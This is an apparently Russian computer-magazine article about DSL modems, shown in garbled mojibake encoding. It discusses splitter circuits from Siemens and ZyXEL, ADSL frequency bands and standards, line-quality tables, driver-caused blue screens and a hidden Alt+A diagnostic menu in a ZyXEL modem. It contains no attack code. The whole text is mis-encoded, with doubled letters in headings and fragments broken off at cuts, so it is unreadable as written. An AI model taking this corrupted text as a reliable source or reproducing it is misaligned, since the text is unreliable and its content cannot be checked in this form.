DEM/ADSL. Øòó÷êà íàçûâàåòñÿ Splitter, ÷òî â ïåðå-
âîäå ñ àíãëèéñêîãî îçíà÷àåò «ðàñùåïèòåëü»,
«ðàçäåëèòåëü»: îí ðàçäåëÿåò âõîäíîé ñèãíàë (LI-
NE) íà íèçêî÷àñòîòíóþ ñîñòàâëÿþùóþ (ñ êîòîðîé
ðàáîòàåò òåëåôîí (PHONE) èëè îáûêíîâåííûé
ìîäåì òèïà ZyXEL OMNI 56K Pro) è âûñîêî÷àñòîò-
íóþ, ïðåäíàçíà÷åííóþ äëÿ DSL-ìîäåìà.

ÏÎÑËÅ ÍÅÒÎÐÎÏËÈÂÎÃÎ DIAL-UP-ÑÎÅÄÈÍÅÍÈß ÏÐÎÍÛÐËÈÂÛÉ DSL-ÌÎÄÅÌ ÊÀÆÅÒ-
Ñß ×ÓÄÎÌ! ÄÀÍÍÛÅ ËÜÞÒÑß ÍÀ ÆÅÑÒÊÈÉ ÄÈÑÊ ÑÒÐÅÌÈÒÅËÜÍÛÌ ÃÈÃÀÁÈÒÍÛÌ
ÏÎÒÎÊÎÌ, ÍÎ… ÀÏÏÅÒÈÒ, ÊÀÊ ÂÎÄÈÒÑß, ÏÐÈÕÎÄÈÒ ÂÎ ÂÐÅÌß ÅÄÛ. ×ÅÐÅÇ ÍÅÊÎ-
ÒÎÐÎÅ ÂÐÅÌß ØÈÐÈÍÛ ÊÀÍÀËÀ ÍÀ×ÈÍÀÅÒ ÍÅ ÕÂÀÒÀÒÜ È ÏÎßÂËßÅÒÑß ÆÅËÀÍÈÅ
ÕÎÒÜ ÊÀÊ-ÒÎ ÐÀÑØÈÐÈÒÜ ÅÃÎ, ÅÑÒÅÑÒÂÅÍÍÎ, ÁÅÇ ÄÎÏÎËÍÈÒÅËÜÍÛÕ ÊÀÏÈÒÀËÎ-
ÂËÎÆÅÍÈÉ |ÊÐÈÑ ÊÀÑÏÅÐÑÊÈ — ÀÐÃÅÍÒÈÍÑÊÈÉ ÁÎËÎÒÍÛÉ ÁÎÁÅÐ

ÐÀÇÎÐßÅÌ ÑÊÐÛÒÛÅ 
ÂÎÇÌÎÆÍÎÑÒÈ DSL-ÌÎÄÅÌÎÂ

Ðèñóíîê 3. Õàðàêòåðèñòèêà ëèíèè LINE-ADSL-
ñïëèòòåðà îò Siemens

Ðèñóíîê 4. Õàðàêòåðèñòèêà ëèíèè LINE-PHONE-
ñïëèòòåðà îò Siemens

Ðèñóíîê 5. Õàðàêòåðèñòèêà ëèíèè LINE-ADSL
ñïëèòòåðà îò ZyXEL

Ðèñóíîê 6. Õàðàêòåðèñòèêà ëèíèè LINE-PHONE
ñïëèòòåðà îò ZyXEL
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DSL
ààííààëëèèçç
DSL-ÒÅÕÍÎËÎÃÈÈ ÌÅÃÀÏÎÏÓËßÐÍÛ Â ÍÀØÅ ÂÐÅÌß.

ÍÀØÀ ÇÀÄÀ×À — ÂÛÐÂÀÒÜ ÈÇ ÍÈÕ ÂÑÅ, ×ÒÎ ÌÎÆÍÎ



Â îòëè÷èå îò îáûêíîâåííîãî ìîäåìà, êîòîðûé ðàáî-
òàåò â óçêîé ïîëîñå ÷àñòîò, çàêà÷èâàþùåéñÿ ãäå-òî â
ðàéîíå 4 ÊÃö, DSL-ìîäåìû îõâàòûâàþ íàìíîãî áî-
ëåå øèðîêèé ñïåêòð (îò 26 äî 1104 ÊÃö), ÷òî ïîçâîëÿ-
åò ðàçâèâàòü ìåãàáèòíûå ñêîðîñòè íà òåõ æå ñàìûõ
êàíàëàõ. (È ïðàêòè÷åñêè òåõ æå ñàìûõ: òðåáîâàíèÿ ê
òåëåôîííîé «ëàïøå» çíà÷èòåëüíî óæåñòî÷èëèñü,
äëÿ ìàêñèìàëüíîé ñêîðîñòè ïðèìåíÿþò êà÷åñòâåí-
íóþ âèòóþ ïàðó ïðîòÿæåííîñòüþ íå áîëåå 5-10 êì.)

Èñõîäÿùèé ïîòîê (upstream) çàíèìàåò íèæíþþ
îñüìóøêó ñïåêòðà — îò 26 äî 138 ÊÃö. Âõîäÿùèé
ïîòîê (downstream) ïðîñòèðàåòñÿ îò 138 äî 1104
ÊÃö (íà ñàìîì äåëå öèôðû âåñüìà óñëîâíû è
âàðüèðóþòñÿ îò îäíîãî ñòàíäàðòà ê äðóãîìó).

Òàêèì îáðàçîì, äèàïàçîí, îòâåäåííûé èñõî-
äÿùåìó ïîòîêó, óñòóïàåò âõîäÿùåìó â âîñåìü ðàç!
Äðóãèìè ñëîâàìè, DSL-ìîäåìû îïòèìèçèðîâàíû
äëÿ «ñîñóíîâ», òî åñòü äëÿ òåõ, êòî õî÷åò òîëüêî êà-
÷àòü, íè÷åãî íå îòäàâàÿ âçàìåí. Êîíå÷íî, ìîæíî ïî-
ñòðîèòü äîìàøíèé ñåðâåð íà îñíîâå DSL-ìîäåìà,
íî… ñêîðîñòü îòäà÷è áóäåò ñîñòàâëÿòü îäíó âîñü-
ìóþ îò ñêîðîñòè ïðèåìà, íà êîòîðóþ ìîäåì, ñîá-
ñòâåííî, è «ðàññ÷èòàí». Íà ñàìîì äåëå òî÷íîå ñîîò-
íîøåíèå îïðåäåëÿåòñÿ êà÷åñòâîì êàíàëà. Íàïðè-
ìåð, íà ìîåé òåëåôîííîé ëèíèè ìîäåì ïðèíèìàåò 2
ìåãàáèòà, à îòäàåò 500 êèëîáèò, òî åñòü èñõîäÿùèé
ïîòîê ìåíüøå âõîäÿùåãî âñåãî â ÷åòûðå ðàçà.

Âîò è ñîçäàâàé êîðïîðàòèâíûé web/ftp-ñåð-
âåð íà DSL-îñíîâå! Âõîäÿùèé ïîòîê îñòàåòñÿ
ïðàêòè÷åñêè íåçàäåéñòâîâàííûì, à èñõîäÿùèé áó-
êâàëüíî «çàäûõàåòñÿ» îò íàïëûâà ïîëüçîâàòåëåé.

Ïî äîëãó ñëóæáû âûíóæäåííûå ïåðåäàâàòü áîëü-
øèå îáúåìû äàííûõ ïî ýëåêòðîííîé ïî÷òå èëè ftp
(ïîëèãðàôè÷åñêèå èçîáðàæåíèÿ, ìàêåòû êíèã è
ò.ä.), ïîëüçîâàòåëè ñòðàäàþò íå ìåíüøå äðóãèõ.
Óâû! Èçìåíèòü ñîîòíîøåíèå ÷àñòîò ìåòîäîì
ïàÿëüíèêà è îòâåðòêè íå ïîëó÷èòñÿ: Ñòàíäàðò íå
âåëèò. Êàê ìèíèìóì, ïðèäåòñÿ ïåðåñòðîèòü ñòà-
öèîíàðíîå îáîðóäîâàíèå, óñòàíîâëåííîå íà ÀÒÑ,
à íèêòî íå ïîçâîëèò òðîãàòü åãî.

Êñòàòè, ñóùåñòâóþò è äðóãèå ñòàíäàðòû, èõ
ïåðå÷åíü è êðàòêèå õàðàêòåðèñòèêè ïðèâåäåíû â
òàáëèöå 1. Êàê âèäíî, ñàìûì âûãîäíûì ñòàíäàð-
òîì äëÿ îðãàíèçàöèè äîìàøíåãî ñåðâåðà îêàçû-
âàåòñÿ Annex J ASDL2, îäíàêî åãî ïîääåðæèâàþò
äàëåêî íå âñå ìîäåìû è ïðîâàéäåðû.

Îäíàêî âåðíåìñÿ ê ñïëèòòåðàì. Ìîæíî ëè
âêëþ÷àòü DSL-òåëåôîí áåç íèõ? Êàê îíè ïîâëèÿþò
íà êà÷åñòâî ñâÿçè? Íà ýòîò ñ÷åò ñóùåñòâóåò ìíî-
æåñòâî ìíåíèé, íî áîëüøèíñòâî èç íèõ íåïðàâèëü-
íûå. ×òîáû íå áëóæäàòü âïîòüìàõ, âîçüìåì ïðèí-
öèïèàëüíóþ ñõåìó äîáðîòíîãî ñïëèòòåðà îò Sie-
mens è ïîñìîòðèì, êàê îí óñòðîåí (ðèñóíîê 1).

Òåëåôîííàÿ ëèíèÿ (LINE) ñîåäèíÿåòñÿ ñ
ADSL-ìîäåìîì ïðàêòè÷åñêè íàïðÿìóþ! Èìåííî
«ïðàêòè÷åñêè», òàê êàê ñîåäèíåíèå èäåò ÷åðåç åì-
êîñòíóþ ðàçâÿçêó ïî êîíäåíñàòîðàì C1, C2, ïëþñ
çàùèòà, îáðàçîâàííàÿ ðàçðÿäíèêîì GD1 ñ êîíäåí-
ñàòîðîì C4 è ïëàâêèìè ïðåäîõðàíèòåëÿìè F1, F2.
Çàòî ê òåëåôîííîìó âûõîäó ïðèñîáà÷åíà ñëîæíàÿ
ñèñòåìà ôèëüòðàöèè íà ïîëîñîâûõ/ðåçîíàíñíûõ
òðàíñôîðìàòîðàõ, îíà óáèðàåò âñþ âûñîêî÷àñòîò-

íóþ ñîñòàâëÿþùóþ è ïîïóòíî èñêëþ÷àåò âëèÿíèå
òåëåôîíà íà DSL-ìîäåì.

Ãðàôèê ïðîõîæäåíèÿ ñèãíàëà ïî ëèíèè LINE-
ADSL ïðåäñòàâëÿåò ñîáîé ÷óòü ëè íå ìàòåìà-
òè÷åñêóþ ïðÿìóþ, òî åñòü ñïëèòòåð íå âíîñèò íè-
êàêèõ ñóùåñòâåííûõ èñêàæåíèé. Î÷åíü õîðîøî!

Âîò (ðèñóíîê 4) êðèâàÿ ïðîõîæäåíèÿ ñèãíàëà ïî
ëèíèè LINE-POST (POST — ýòî òåëåôîí èëè îáû÷-
íûé ìîäåì). Êàê âèäíî, íà÷èíàÿ ñ 34 ÊÃö âñÿ âûñî-
êî÷àñòîòíàÿ ñîñòàâëÿþùàÿ ïîëíîñòüþ âûðåçàåòñÿ,
íî ñàì ïðîôèëü êðèâîé… Îé, ëó÷øå íå íàäî. Òå-
ëåôîíó åùå íè÷åãî, à ó ìîäåìà (îáûêíîâåííîãî, òî
åñòü íå DSL) ìîãóò âîçíèêíóòü ñåðüåçíûå ïðîáëåìû,
è ñêîðîñòü ïåðåäà÷è äàííûõ ñóùåñòâåííî óïàäåò.

Òåïåðü (äëÿ êîíòðàñòà) âîçüìåì ñïëèòòåð îò
ZyXEL ONMI. Ïðèíöèïèàëüíàÿ ñõåìà (ðèñóíîê 2) íå
âíóøàåò îñîáîãî äîâåðèÿ: òåëåôîííàÿ ëèíèÿ ñîå-
äèíåíà ñ DSL-ìîäåìîì íàòóðàëüíîé ïðÿìîé, è
çäåñü íåò íè÷åãî, êðîìå çàùèòíîãî âàðèñòîðà VR1.

Èòîãî, íåïðàâèëüíûé ðàñ÷åò òðàíñôîðìàòî-
ðà L1 ïðèâåë ê çíà÷èòåëüíûì èñêàæåíèÿì ñèãíàëà
â öåïè LINE-ADSL (ðèñóíîê 5), óõóäøèâ ñêîðîñò-
íûå õàðàêòåðèñòèêè ìîäåìà.

×òî æå íàñ÷åò îáûêíîâåííîãî òåëåôîíà (ìî-
äåìà)? Óâû, íàñ æäåò åùå áîëåå áåçðàäîñòíàÿ
êàðòèíà (ðèñóíîê 6), è ñïëèòòåð ïëàâíî îñëàáëÿåò
ñèãíàë, îáðåçàÿ åãî â ðàéîíå 11 ÊÃö, íî äàæå â ðà-
éîíå 3,7 ÊÃö ñèãíàë óìåíüøàåòñÿ óæå íà -10 dB,
÷òî óõóäøèò íå òîëüêî ìîäåìíóþ ñâÿçü, íî è ãîëî-
ñîâîé òåëåôîí!
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Ðàñïðåäåëåíèå ÷÷àñòîòíîãî ññïåêòðà 
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PSTN Upstream Downstream

Ðèñóíîê 1. Ïðèíöèïèàëüíàÿ ñõåìà ñïëèòòåðà 
îò Siemens

Ðèñóíîê 2. Ïðèíöèïèàëüíàÿ ñõåìà 
ñïëèòòåðà îò ZyXEL

Òàáëèöà 11. ÑÑòàíäàðòíûå ïïðîòîêîëû DDSL-ììîäåìîâ ññ êêðàòêèìè õõàðàêòåðèñòèêàìè

í à ç â à í è å  ñ ò à í ä à ð ò à d o w n s t r e a m u p s t r e a m

ANSI T1.413-1998 Issue 2 ADSL 8 Mbit/s 1.0 Mbit/s
ITU G.992.1 ADSL (G.DMT) 8 Mbit/s 1.0 Mbit/s
ITU G.992.2 ADSL Lite (G.Lite) 1.5 Mbit/s 0.5 Mbit/s
ITU G.992.3/4 ADSL2 12 Mbit/s 1.0 Mbit/s
ITU G.992.3/4 Annex J ADSL2 12 Mbit/s 3.5 Mbit/s
ITU G.992.3/4 Annex L RE-ADSL2 5 Mbit/s 0.8 Mbit/s
ITU G.992.5 ADSL2+ 24 Mbit/s 1.0 Mbit/s
ITU G.992.5 Annex L RE-ADSL2+ 24 Mbit/s 1.0 Mbit/s
ITU G.992.5 Annex M ADSL2+ 24 Mbit/s 3.5 Mbit/s



Âûâîä: âêëþ÷àòü DSL-ìîäåì íàïðÿìóþ â òåëå-
ôîííóþ ëèíèþ ìîæíî! Ñêîðîñòü ïåðåäà÷è îáû÷íî
òîëüêî âîçðàñòàåò (îñîáåííî åñëè â êîìïëåêòå
èäåò äåøåâûé ñïëèòòåð). Îáû÷íûé ìîäåì ìîæíî
ïîäêëþ÷àòü ïàðàëëåëüíî â DSL áåçî âñÿêèõ äî-
ïîëíèòåëüíûõ óñòðîéñòâ! Åñëè ìîäåì íå÷óâñòâè-
òåëåí ê âûñîêî÷àñòîòíûì ïîìåõàì è íå ñîçäàåò èõ
ñàì, òàêîå ðåøåíèå áóäåò íàèëó÷øèì! Ïðîâåðåíî
ìûùúõ’îì íà åãî ëè÷íîì îïûòå!

Êòî-òî ìîæåò ñïðîñèòü: «Çà÷åì îñòàâëÿòü
îáû÷íûé ìîäåì, åñëè åñòü DSL?» Îòâå÷àþ: òà-
ðèôíûå ïëàíû íåêîòîðûõ ïðîâàéäåðîâ ïðèâîäÿò ê
òîìó, ÷òî dial-up ñòàíîâèòñÿ äåøåâëå! Ïðè ïåðåäà-
÷å-ïðèåìå áîëüøîãî îáúåìà äàííûõ, íóæíûõ íå
ñðî÷íî, ýòî âåñüìà àêòóàëüíî, ê òîìó æå ÷åðåç ìî-
äåì ìîæíî àäìèíèñòðèðîâàòü ñâîé êîìïüþòåð íà
ðàññòîÿíèè, äåðæàòü BBS èëè… ïðåäîñòàâëÿòü
«ïðîâàéäåðñêèå» óñëóãè ñâîèì çíàêîìûì. Äà ìíî-
ãî ïðè÷èí òóò åñòü…

ìîäåì ääëÿ ììîíèòîðèíãà òòåëåôîííîé ëëèíèè.
Äîñòàòî÷íî ÷àñòî ñêîðîñòü ïåðåäà÷è äàííûõ íåî-
æèäàííî ïàäàåò è, ïîõîæå, ñîâñåì íå ñîáèðàåòñÿ
âîçâðàùàòüñÿ íàçàä. Ìîæíî, êîíå÷íî, ïîçâîíèòü â
ñëóæáó ïîääåðæêè è âûñëóøàòü ñîâåðøåííî áåñ-
ïîëåçíûé ñîâåò «ïåðåóñòàíîâèòü Windows», íî
ëó÷øå ïîïûòàòüñÿ ðàçîáðàòüñÿ ñ ïðîáëåìîé ñàìî-
ñòîÿòåëüíî. Âèíîâíèêîì ìîæåò áûòü êòî óãîäíî:
îïåðàöèîííàÿ ñèñòåìà, áðàóçåð, çëîáíûé òðîÿí,
íåèñïðàâíîñòü DSL-ìîäåìà, òåëåôîííûé êàáåëü,
ñåðâåð ïðîâàéäåðà èëè… Äà ÷òî óãîäíî!

×åðåç íåñêîëüêî ìåñÿöåâ èíòåíñèâíîãî ñåð-
ôèíãà ÷åðåç DSL ìîæåò íàãðÿíóòü êîíêðåòíîå òîð-
ìîæåíèå áðàóçåðà (èç-çà ôðàãìåíòàöèè ôàéëî-
âîé ñèñòåìû), õîòÿ íè ìîäåì, íè èíòåðíåò-êàíàë
íè ïðè ÷åì. Êñòàòè, î÷èñòêà êåøà, êàê è äåôðàã-

ìåíòàöèÿ øòàòíûìè äåôðàãìåíòàòîðîì, ïîìîãàåò
äàëåêî íå âñåãäà — èñïîëüçóé äåôðàãìåíòàòîðû
îò O&O èëè Symantec. 

îäíàêî îîñòàâèì îîïåðàöèîííîå îîêðóæåíèå â
ñòîðîíå. Óâåðåí, òû è ñàì êàê-íèáóäü ðàçáåðåøü-
ñÿ ñ íèì. Îñòàþòñÿ äâà ãëàâíûõ ïîäîçðåâàåìûõ:
òåëåôîííûé êàáåëü è ïðîâàéäåð. Åñëè ñåðâåð
ïðîâàéäåðà îòäàåò ôàéëû ñ íîðìàëüíîé ñêîðî-
ñòüþ (çà âû÷åòîì âîçìîæíîé íàãðóçêè, õàðàêòåð-
íîé äëÿ äàííîãî âðåìåíè ñóòîê), òî DSL-ìîäåì
ôóíêöèîíèðóåò íîðìàëüíî è çà òåëåôîííûé êàíàë
ìîæíî äàæå íå âîëíîâàòüñÿ. Ñàìàÿ âåðîÿòíàÿ
ïðè÷èíà ïàäåíèÿ ñêîðîñòè — ïåðåãðóçêà ìàãè-
ñòðàëüíûõ èíòåðíåò-êàíàëîâ èëè ïðîáëåìû ó àï-
ëèíêà (âûøåñòîÿùåãî ïðîâàéäåðà).

Åñëè äàæå ñåðâåð ïðîâàéäåðà îòêëèêàåòñÿ
íåîõîòíî, íåîáõîäèìî èññëåäîâàòü êà÷åñòâî ïåðå-
äà÷è äàííûõ ïî òåëåôîííîìó êàáåëþ. Çà ÷òî ìû-
ùúõ ëþáèò ZyXEL ONMI 56k Pro, òàê ýòî çà åãî
LCD-äèñïëåé, îòîáðàæàþùèé â ðåàëüíîì âðåìåíè
À×Õ-ëèíèè è ïðî÷óþ ïîëåçíóþ èíôîðìàöèþ. Êàê
íàñ÷åò DSL-ìîäåìîâ?

Ïðàêòèêà ïîêàçûâàåò, ÷òî áîëüøèíñòâî DSL-
ìîäåìîâ (äàæå èç äåøåâûõ ñåðèé) ñîäåðæàò äî-
âîëüíî ðàçâèòóþ ñèñòåìó ìîíèòîðèíãà ôèçè÷å-
ñêîãî êàíàëà ñâÿçè, íî ïî íåïîíÿòíûì ñîîáðàæå-
íèÿì ïðÿ÷óò ýòîò àãðåãàò îò ïîëüçîâàòåëåé â íåäî-
êóìåíòèðîâàííûõ ñî÷åòàíèÿõ êîìàíä.

Âîçüìåì, íàïðèìåð, ZyXEL OMNI ASDL USB.
Äåøåâûé, íî äîâîëüíî íåïðèõîòëèâûé è ñòàáèëü-
íî ðàáîòàþùèé ìîäåì. Ëåíèâî ïåðåìèãèâàåòñÿ
áåëî-çåëåíîé èêîíîé â ïðàâîì óãëó ýêðàíà.

Äâîéíîé ìûøèíûé ùåë÷îê âûçûâàåò èíôîð-
ìàöèîííîå îêîøêî ñïàðòàíñêîãî òèïà, ñ óêàçàíè-
åì êîëè÷åñòâà ïðèíÿòûõ è ïåðåäàííûõ áàéò. 
Â ïðàâîì âåðõíåì óãëó íàëè÷åñòâóåò òðàäèöèîí-
íûé êðåñòèê «Çàêðûòü». Íèêàêèõ äðóãèõ ýëåìåí-
òîâ óïðàâëåíèÿ íå íàáëþäàåòñÿ…

Îäíàêî ñòîèò íàæàòü «ñåêðåòíóþ» êîìáèíà-
öèþ <Alt>+<A>, êàê äèàëîãîâîå îêíî çíà÷èòåëüíî
ïðåîáðàæàåòñÿ, ïîêàçûâàÿ êíîïêè Advanced moni-
toring è Configuration wizard. Âòîðàÿ èç íèõ íàì ìà-
ëî èíòåðåñíà: îáû÷íûé ìàñòåð, âûçûâàåòñÿ ïðè
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ddssll èè ããîîëëóóááîîéé
ýýêêððààíí ññììååððòòèè
ÌÍÎÃÈÅ ÏÎËÜÇÎÂÀÒÅËÈ ÆÀËÓÞÒÑß,
×ÒÎ ÏÎÑËÅ ÓÑÒÀÍÎÂÊÈ DSL-ÌÎÄÅÌÀ
WINDOWS ÂÄÐÓÃ ÎÁÇÀÂÎÄÈÒÑß ÏÎÂÀÄ-
ÊÎÉ ×ÀÑÒÎ ÏÀÄÀÒÜ, ÂÛÁÐÀÑÛÂÀß ÃÎ-
ËÓÁÎÉ ÝÊÐÀÍ ÑÌÅÐÒÈ (ÎÍ ÆÅ BSOD).
ÏÐÈÒÎÌ ÏÀÄÅÍÈß ÏÐÎÈÑÕÎÄßÒ Â ÑÀ-
ÌÛÕ ÍÅÏÐÅÄÑÊÀÇÓÅÌÛÕ ÌÅÑÒÀÕ: ÏÐÈ
ÇÀÏÓÑÊÅ ÎÑËÀ ÈËÈ ÏÐÎÈÃÐÛÂÀÍÈÈ
ÂÈÄÅÎÔÀÉËÀ. ÑÀÌ ÎÑÅË, ÅÑÒÅÑÒÂÅÍ-
ÍÎ, ÍÈ ÏÐÈ ×ÅÌ. ÊÀÊ ÏÐÈËÎÆÅÍÈÅ
ÏÐÈÊËÀÄÍÎÃÎ ÐÅÆÈÌÀ, ÎÍ ÔÈÇÈ×Å-
ÑÊÈ ÍÅ Â ÑÎÑÒÎßÍÈÈ ÂÛÇÂÀÒÜ BSOD.
ÂÈÄÅÎÏÐÎÈÃÐÛÂÀÒÅËÜ ÒÎÆÅ.

ÂÈÍÎÂÀÒÛ ÊÐÈÂÛÅ ÄÐÀÉÂÅÐÛ, ÏÈÑÀÍ-
ÍÛÅ ÊÎÅ-ÊÀÊ. È ÄÐÀÉÂÅÐÛ ÑÀÌÎÃÎ
ÌÎÄÅÌÀ, È ÄÐÀÉÂÅÐÛ ÂÈÄÅÎÊÀÐÒÛ.
ÊÎÍÔËÈÊÒ ÌÅÆÄÓ ÍÈÌÈ — ÎÁÛ×ÍÎÅ
ÄÅËÎ. ÒÈÏÈ×ÍÀß ÏÐÎÃÐÀÌÌÈÑÒÑÊÀß
ÎØÈÁÊÀ — ÏÎÏÛÒÊÀ ÎÑÂÎÁÎÄÈÒÜ
ÓÆÅ ÎÑÂÎÁÎÆÄÅÍÍÓÞ ÏÀÌßÒÜ. ÏÐÈ
WEB-ÑÅÐÔÈÍÃÅ ÎÍÀ ÏÐÀÊÒÈ×ÅÑÊÈ ÍÈ-
ÊÎÃÄÀ ÍÅ ÂÎÇÍÈÊÀÅÒ (ÂÅÐÎßÒÍÎÑÒÜ
ÑËÈØÊÎÌ ÌÀËÀ), ÍÎ ÎÑÅË — ÄÐÓÃÎÅ
ÄÅËÎ. ×ÅÌ ÈÍÒÅÍÑÈÂÍÅÅ ÍÀÃÐÓÇÊÀ ÍÀ
ÌÎÄÅÌ, ×ÅÌ ÁÎËÜØÅ ÑÎÅÄÈÍÅÍÈÉ ÎÍ
ÎÁÐÀÁÀÒÛÂÀÅÒ Â ÅÄÈÍÈÖÓ ÂÐÅÌÅÍÈ,
ÒÅÌ ÁÎËÜØÅ ØÀÍÑÎÂ ÑÕËÎÏÎÒÀÒÜ
BSOD. ÇÀÁÀÂÍÎ, ÍÎ ÄÎ W2KSP4 ÑÈÑÒÅ-
ÌÀ ÍÅ ÏÐÎÂÅÐßËÀ ÑÈÒÓÀÖÈÞ Ñ ÏÎÂ-
ÒÎÐÍÛÌ ÎÑÂÎÁÎÆÄÅÍÈÅÌ È ÂÑÅ ÐÀ-
ÁÎÒÀËÎ ÍÎÐÌÀËÜÍÎ (ÒÎ×ÍÅÅ, «ÊÀÊ
ÁÛ» ÍÎÐÌÀËÜÍÎ, ÍÎ ÐÀÁÎÒÀËÎ ÆÅ!!!),
ÎÄÍÀÊÎ Â ÊÀÊÎÉ-ÒÎ ÌÎÌÅÍÒ MICRO-
SOFT, Â ÖÅËßÕ ÁÎÐÜÁÛ ÇÀ ÑÒÀÁÈËÜ-
ÍÎÑÒÜ ÑÈÑÒÅÌÛ, ÐÅØÈËÀ ÒÐÀÊÒÎÂÀÒÜ
ÝÒÎ ÊÀÊ «ÏÎÇÎÐ, ÊÎÒÎÐÛÉ ÌÎÆÅÒ
ÑÌÛÒÜ ÒÎËÜÊÎ BSOD». ÂÎÒ È…

ÊÀÊ ÁÛÒÜ? ×ÒÎ ÄÅËÀÒÜ? ÑÀÌÎÅ ÏÐÎ-
ÑÒÎÅ  — ÏÐÈÎÁÐÅÑÒÈ ÍÎÐÌÀËÜÍÛÉ
DSL-ÌÎÄÅÌ, ÏÎÄÊËÞ×ÀÅÌÛÉ ×ÅÐÅÇ
ETHERNET. Ñ ÍÈÌ ÒÀÊÈÕ ÏÐÎÁËÅÌ ÍÅÒ.
ÂÛÕÎÄ ÂÒÎÐÎÉ — ÑÍÅÑÒÈ SP4 ÂÑÅÌ,
ÊÒÎ ÅÙÅ ÑÈÄÈÒ ÍÀ W2K. ÂÛÕÎÄ ÒÐÅ-
ÒÈÉ — ÎÒÊËÞ×ÈÒÜ ÑÎÎÒÂÅÒÑÒÂÓÞ-
ÙÈÉ BUGCHECK-ÊÎÄ ÏÓÒÅÌ ÏÐÀÂÊÈ
ßÄÐÀ Â ÏÀÌßÒÈ (Î ÒÎÌ, ÊÀÊ ÝÒÎ ÑÄÅ-
ËÀÒÜ, ÐÀÑÑÊÀÇÛÂÀÅÒÑß Â ÑÒÀÒÜÅ
«ÆÈÇÍÜ ÏÎÑËÅ BSOD» — «ÕÀÊÅÐ»).

ÍÀÊÎÍÅÖ, ÌÎÆÍÎ ÎÁÍÎÂÈÒÜ ÂÑÅ
ÄÐÀÉÂÅÐÛ, ÊÎÒÎÐÛÅ ÒÎËÜÊÎ ÅÑÒÜ Â
ÑÈÑÒÅÌÅ. À ÂÄÐÓÃ ÐÀÇÐÀÁÎÒ×ÈÊÈ ÓÆÅ
ÈÑÏÐÀÂÈËÈ ÎØÈÁÊÈ?..

Èêîíêà ìîäåìà ZyXEL
OMNI ASDL USB

Ñòàíäàðòíîå 
èíôîðìàöèîííîå îêíî

Òàáëèöà 22. ÂÂëèÿíèå ççàòóõàíèÿ ññèãíàëà ííà êêà÷åñòâî ëëèíèè

ç à ò ó õ à í è å  ñ è ã í à ë à ê à ÷ å ñ ò â î  ë è í è è

îò 5dB äî 20dB ëèíèÿ îòëè÷íàÿ
îò 20dB äî 30dB ëèíèÿ õîðîøàÿ
îò 30dB äî 40dB ëèíèÿ ïëîõàÿ
îò 50dB è âûøå ýòî íå ëèíèÿ

Òàáëèöà 33. Çàøóìëåííîñòü èè êêà÷åñòâî

ó ð î â å í ü  ø ó ì à :  R M S  N o i s e  E n e r g y  [ d B m ] ê à ÷ å ñ ò â î  ë è í è è

îò -65dBm äî -50dBm ëèíèÿ îòëè÷íàÿ
îò -50dBm äî -35dBm ëèíèÿ õîðîøàÿ
îò -35dBm äî -20dBm ëèíèÿ ïëîõàÿ
îò -20dBm è âûøå ýòî íå ëèíèÿ



íàñòðîéêå ìîäåìà. Îäíàêî íà Advanced monitoring
îñòàíîâèìñÿ ïîïîäðîáíåå.
Íàæèìàåì åãî è ïîïàäåì â ñòàíäàðòíûé íàñòðîå÷-
íûé äèàëîã. Òîò ñàìûé, êîòîðûé ìîæíî âûçûâàòü è
ñ «Ïàíåëè óïðàâëåíèÿ», è ÷åðåç «Ãëàâíîå ìåíþ» 
«Ïðîãðàììû» ZyXEL OMNI ADSL USB ZyXEL
OMNI ADSL USB. Ôè! Êàêîå ðàçî÷àðîâàíèå. Íàì
ïðåäëàãàþò óçíàòü «ïðîòîêîëüíóþ» ñêîðîñòü ïðèå-
ìà-ïåðåäà÷è, èçìåíèòü ìîäóëÿöèþ, ïàðàìåòðû
ASDL-çàãîëîâêà, èäåíòèôèêàòîðû âèðòóàëüíûõ êà-
íàëîâ è ìàêñèìàëüíûé ðàçìåð ïàêåòîâ.

Çà èñêëþ÷åíèåì ðàçìåðà ïàêåòîâ, íèêàêèå
íàñòðîéêè ëó÷øå íå òðîãàòü. Â ëó÷øåì ñëó÷àå ñêî-
ðîñòü íå èçìåíèòñÿ âîîáùå, â õóäøåì — DSL-ìî-
äåì ïðîñòî íå ñìîæåò óñòàíîâèòü ñâÿçü ñ îêîíå÷-
íûì îáîðóäîâàíèåì, òàê êàê áîëüøàÿ ÷àñòü íà-
ñòðîåê ïðîäèêòîâàíà èìåííî èì!

Íî âîò ìû íàæèìàåì <Alt>+<A>, è íàñòðîå÷-
íûé äèàëîã ðàäèêàëüíî ïðåîáðàæàåòñÿ. Àáñîëþò-
íî ïðåîáðàæàåòñÿ! Âî âêëàäêå General ïîÿâëÿåòñÿ
ñèìïàòè÷íûé «ñâåòîäèîäíûé» èíäèêàòîð, îòîáðà-
æàþùèé ìãíîâåííóþ ñêîðîñòü ïðèåìà, à íèæå —
î÷åíü ïîëåçíàÿ êíîïêà Stop ADSL, êîòîðóþ ñòîèò
îòìåòèòü îñîáî. Ýòî åäèíñòâåííûé ñïîñîá âûéòè
èç ñåòè áåç ïðàâ àäìèíèñòðàòîðà è áåç âûäåðãèâà-
íèÿ òåëåôîííîãî êàáåëÿ èç ðîçåòêè, íî óâû, íåäî-
êóìåíòèðîâàííûé. Äóìàþ, íå íàäî ïåðå÷èñëÿòü
âñå ñèòóàöèè, â êîòîðûõ ïîëüçîâàòåëü õî÷åò âðå-
ìåííî îòêëþ÷èòüñÿ îò èíòåðíåòà, îñîáåííî åñëè îí
ñèäèò íà ñêîðîñòíîì êàíàëå, êîãäà âûðàæåíèå
«Âðåìÿ — äåíüãè» ïðèîáðåòàåò îñîáóþ ôèíàíñî-
âóþ îñòðîòó. Îïÿòü-òàêè àòàêè…

Â ñëåäóþùåé çàêëàäêå, ATM Link Statistic
(êîòîðîé â ñòàíäàðòíîì äèàëîãå è íå íî÷åâàëî),
ìû ìîæåì óçíàòü ñòàòèñòèêó ïî ATM-ëèíêó. Áîëü-
øå âñåãî çäåñü íàñ èíòåðåñóåò ïàðàìåòð Cells/Se-
cond — ìãíîâåííàÿ ñêîðîñòü ïðèåìà-ïåðåäà÷è â
ÿ÷åéêàõ. Ðàçìåð ñàìîé ÿ÷åéêè ìîæíî âû÷èñëèòü
ðàçäåëèâ êîëè÷åñòâî ïåðåäàííûõ (ïðèíÿòûõ) áàé-
òîâ íà êîëè÷åñòâî ïåðåäàííûõ (ïðèíÿòûõ) ÿ÷ååê. Â
ìîåì ñëó÷àå îíî ðàâíî 53 áàéòàì. (Ïîïóòíî çàìå-
òèì, ÷òî åñòü äâà òèïà ÿ÷ååê: CPL0 è CPL1. Ðàñøè-
